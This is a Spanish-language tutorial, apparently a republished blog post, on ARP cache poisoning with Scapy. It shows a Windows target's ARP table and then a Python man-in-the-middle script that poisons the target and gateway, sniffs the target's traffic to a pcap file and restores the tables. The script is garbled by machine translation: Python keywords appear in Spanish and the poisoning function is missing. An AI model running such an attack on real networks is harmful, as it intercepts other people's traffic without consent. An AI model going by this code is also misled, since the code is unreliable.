Envenenamiento de la caché ARP con Scapy

Share this…

El envenenamiento ARP es una técnica aun muy eficaz y a su vez antigua que aún es utilizada por los hackers, .

vamos a convencer a una pc objetivo, que nosotros nos hemos convertido en el módem router es decir en el gateway de la red (la puerta de entrada del internet) y también vamos a convencer a la puerta de enlace (gateway) de lo mismo que mi pc es el gateway  con esto llegaremos al equipo objetivo y  todo el tráfico pasara por nosotros.

Cada computador de la red tiene una caché ARP donde guarda direcciones MAC que coinciden con las direcciones IP de la red local, esta caché  deberia ser cambiada con las entradas que controlamos para lograr este ataque.

Obviaremos el como funciona el cambio en la caché ARP , se somete a su investigacion sobre este ataque en un nivel inferior.

Vamos a poner en práctica.

Las pruebas previamente ejecutadas se realizaron con sistemas operativos Windows y Linux , tambien se ha probado el codigo con dispositvos celulares conectados a un punto inalámbrico en comun y funcionó muy bien.

Vamos a comprobar la memoria caché ARP en la máquina Windows de destino, así veremos nuestro ataque en acción más adelante. hacemos un ipconfig desde la consola de Windows.

C: \ Users \ usuario> ipconfig

Configuración IP de Windows

adaptador de LAN inalámbrica

Conexión de red inalámbrica:

Sufijo de conexión específica DNS. : gateway.pace.com

Enlace local IPv6 de direcciones. . . . . : Fe80 :: 34a0: 48cd: 579: 11% a3d9

Dirección IPv4. . . . . . . . . . . : 172.16.1.71

Máscara de subred . . . . . . . . . . . : 255.255.255.0

Puerta de enlace predeterminada . . . . . . . . . : 172.16.1.254

C: \ Users \ usuario> arp

Interfaz: 172.16.1.71 – 0xb

Internet Tipo de dirección física

172.16.1.254     3c-ea-4f-2b-41-f9     dinámico

172.16.1.255 ff-ff-FF-FF-FF-FF estática

224.0.0.22 01-00-5E-00-00-16 estático

224.0.0.251 estática 01-00-5E-00-00-fb

224.0.0.252 01-00-5E-00-00-fc estático

255.255.255.255 ff-ff-FF-FF-FF-FF estática

La dirección IP del Gateway es 172.16.1.254 y su entrada en la caché ARP asociado con la dirección MAC es 3c-ea-4f-2b-41-F9.

Tomamos nota de esto estas viendo la caché ARP, cuando ataque está en marcha esto datos seran cambiados con esto se verifica que la tabla fue modificada alterando el gateway y la pc.

La puerta de entrada y la dirección IP de destino cambiadas con exito, vamos codificar un script para el ARP.

Abrir un nuevo archivo de Python, lo llaman arper.py, incluye el código siguiente:

Sólo recomendar que pruebe este tutorial en su sistema.

de scapy . toda importación * 

importación OS
importación sys
importación de roscado
importación de señales
interface = "en1"  
target_ip = "172.16.1.71" 
gateway_ip = "172.16.1.254" 
packet_count = 1000 
# Coloca en nuestra conf.iface interface = interfaz # Desactivar la salida

conf . verbo = 0 
print "[*] La creación de% s" % interfaz   
gateway_mac = get_mac ( gateway_ip )

Si gateway_mac es Ninguno : 

print "[!!!] No se pudo obtener de puerta de enlace MAC. Salir". 
sys . salida ( 0 )

otra cosa :

impresión "[*] puerta de enlace% s es en% s" % ( gateway_ip , gateway_mac )   
target_mac = get_mac ( target_ip )

Si target_mac es Ninguno : 

print "[!!!] No se pudo obtener de destino MAC. Salir". 
sys . salida ( 0 )

otra cosa :

impresión "[*] destino% s es en% s" % ( target_ip , target_mac )    

# Iniciar el subproceso veneno

poison_thread = roscado . Thread ( objetivo = poison_target , args = ( gateway_ip , 
gateway_mac , target_ip , target_mac )) poison_thread . iniciar () 

tratar :

print "[*] A partir del succionador de paquetes% d" % packet_count  
bpf_filter = "ip anfitrión% s" % target_ip  
paquetes = sniff ( contar = packet_count , filtro = bpf_filter , del iface = interfaz
 )

# Escribir los paquetes capturados

wrpcap ( 'arper.pcap' , paquetes )

# Restore_target restaurar la red (gateway_ip, gateway_mac, target_ip, target_mac)

excepto KeyboardInterrupt : 

# Restore_target restaurar la red (gateway_ip, gateway_mac, target_ip, target_mac)

sys . salida ( 0 )

Comenzamos por resolver direcciones MAC de la dirección IP del gateway y del destino mediante la función get_mac.  Después comenzar a cambiar el ARP.

Ponemos en ejecucion un sniffer que capturará una cantidad de paquetes utilizando un filtro BPF sólo al tráfico de captura para nuestra dirección IP de destino.

Con los paquetes capturados, escribimos el archivo PCAP para abrirlos en Wireshark ( una herramienta de esnifeo de redes).  Cuando se terminó el cambio ARP,  llamamos a la función restore_target, que restaura la red a su estado inicial.

Vamos sumar las funciones de apoyo en el código encima del anterior bloque de código:

def restore_target (gateway_ip, gateway_mac, target_ip, target_mac):

# método diferente utilizando enviar impresión “objetivo [*] La restauración …”

➊ enviar (ARP ( op = 2, PSRC = gateway_ip, PDST = target_ip, hwdst =”FF: FF: FF: FF: FF: FF”, hwsrc = gateway_mac), count = 5) enviar (ARP (op = 2, PSRC = target_ip, PDST = gateway_ip, hwdst =”FF: FF: FF: FF: FF: FF”, hwsrc = target_mac), count = 5)

Fuente:https://www.enhacke.com/2017/04/28/envenenamiento-la-cache-arp-scapy/